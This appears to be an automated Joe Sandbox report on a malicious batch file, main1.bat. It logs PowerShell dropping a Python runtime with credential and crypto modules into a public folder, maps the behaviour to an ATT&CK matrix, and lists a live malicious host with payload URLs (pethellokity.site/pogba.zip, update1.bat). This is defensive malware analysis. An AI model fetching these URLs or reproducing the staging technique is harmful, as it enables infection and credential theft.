Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4806	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4935	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5249	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4447	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32evtlog.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32file.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\odbc.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32lz.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\mmapfile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\perfmon.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\timer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32console.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32inet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32job.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32net.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\pythonservice.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32help.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32gui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\servicemanager.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32api.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32clipboard.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32cred.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\perfmondata.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32event.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32pipe.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\win32\win32pdh.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7240	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1848	Thread sleep count: 5249 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5268	Thread sleep count: 4447 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7236	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: powershell.exe, 00000002.00000002.2219473614.000001B04777B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2937304514.000001EB3C7FC000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: Yara match	File source: main1.bat, type: SAMPLE
Source: Yara match	File source: amsi64_6432.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_3856.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3856, type: MEMORYSTR

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	21 Scripting	Valid Accounts	1 Command and Scripting Interpreter	21 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	12 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Source	Detection	Scanner
C:\Users\Public\Document\DLLs\_asyncio.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_bz2.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ctypes.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ctypes_test.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_decimal.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_elementtree.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_hashlib.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_lzma.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_msi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_overlapped.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_queue.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_socket.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_sqlite3.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_ssl.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testbuffer.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testcapi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testconsole.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_testmultiphase.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_tkinter.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_uuid.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\_zoneinfo.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libffi-7.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\libssl-1_1.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\pyexpat.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\select.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\sqlite3.dll	0%	ReversingLabs
C:\Users\Public\Document\DLLs\unicodedata.pyd	0%	ReversingLabs
C:\Users\Public\Document\DLLs\winsound.pyd	0%	ReversingLabs
C:\Users\Public\Document\Lib\abc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\aifc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\argparse.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\ast.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asynchat.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\asyncore.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\base64.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\bdb.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\binhex.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\bisect.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\bz2.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\calendar.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cgi.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cgitb.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\chunk.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\cmd.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\code.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\codecs.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\collections\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\collections\abc.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\colorsys.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\compileall.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\configparser.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\contextlib.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\contextvars.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\copy.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\__init__.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\bz2_codec.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\charmap.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp037.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1006.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1026.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1125.py	0%	ReversingLabs
C:\Users\Public\Document\Lib\encodings\cp1140.py	0%	ReversingLabs

Source	Detection	Scanner	Label
http://pethellokity.site	0%	Avira URL Cloud	safe
http://bugs.python.org/issue14720	0%	Avira URL Cloud	safe
http://www.megginson.com/SAX/.	0%	Avira URL Cloud	safe
http://w3m.sourceforge.net/	0%	Avira URL Cloud	safe
http://zooko.com/	0%	Avira URL Cloud	safe
http://site-with-no-cookie.python.org	0%	Avira URL Cloud	safe
http://xml.org/sax/features/string-interning	0%	Avira URL Cloud	safe
https://wicg.github.io/ua-client-hints	0%	Avira URL Cloud	safe
http://www.codeguru.com/cpp/controls/menu/bitmappedmenus/article.php/c165	0%	Avira URL Cloud	safe
http://bugs.python.org/issue6857.	0%	Avira URL Cloud	safe
http://artax.karlin.mff.cuni.cz/~mikulas/links/	0%	Avira URL Cloud	safe
http://127.0.0.1:z	0%	Avira URL Cloud	safe
https://pethellokity.site/pogba.zip	0%	Avira URL Cloud	safe
http://lynx.isc.org/	0%	Avira URL Cloud	safe
http://xml.org/sax/features/validation	0%	Avira URL Cloud	safe
http://bugs.python.org/issue10811	0%	Avira URL Cloud	safe
http://bugs.python.org/issue24068.	0%	Avira URL Cloud	safe
https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_13)	0%	Avira URL Cloud	safe
https://bugs.python.org/issue17741	0%	Avira URL Cloud	safe
https://fedidcg.github.io/FedCM/#browser-api-rp-sign-in)	0%	Avira URL Cloud	safe
http://127.0.0.1:4444TNr7r8	0%	Avira URL Cloud	safe
http://xml.org/sax/properties/xml-string	0%	Avira URL Cloud	safe
https://w3c.github.io/sensors/#automation	0%	Avira URL Cloud	safe
https://www.secg.org/sec1-v2.pdf	0%	Avira URL Cloud	safe
https://source.chromium.org/chromium/chromium/deps/icu.git/	0%	Avira URL Cloud	safe
https://pethellokity.site/update1.bat	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pethellokity.site	185.199.111.153	true	true		unknown
ipinfo.io	34.117.59.81	true	false		high

Name	Malicious	Antivirus Detection	Reputation
https://pethellokity.site/pogba.zip	true	Avira URL Cloud: safe	unknown
https://pethellokity.site/update1.bat	true	Avira URL Cloud: safe	unknown

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
34.117.59.81	ipinfo.io	United States		139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.199.111.153	pethellokity.site	Netherlands		54113	FASTLYUS	true

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578097
Start date and time:	2024-12-19 08:55:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	main1.bat
Detection:	MAL
Classification:	mal100.expl.evad.winBAT@14/1753@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 32 Number of non-executed functions: 0
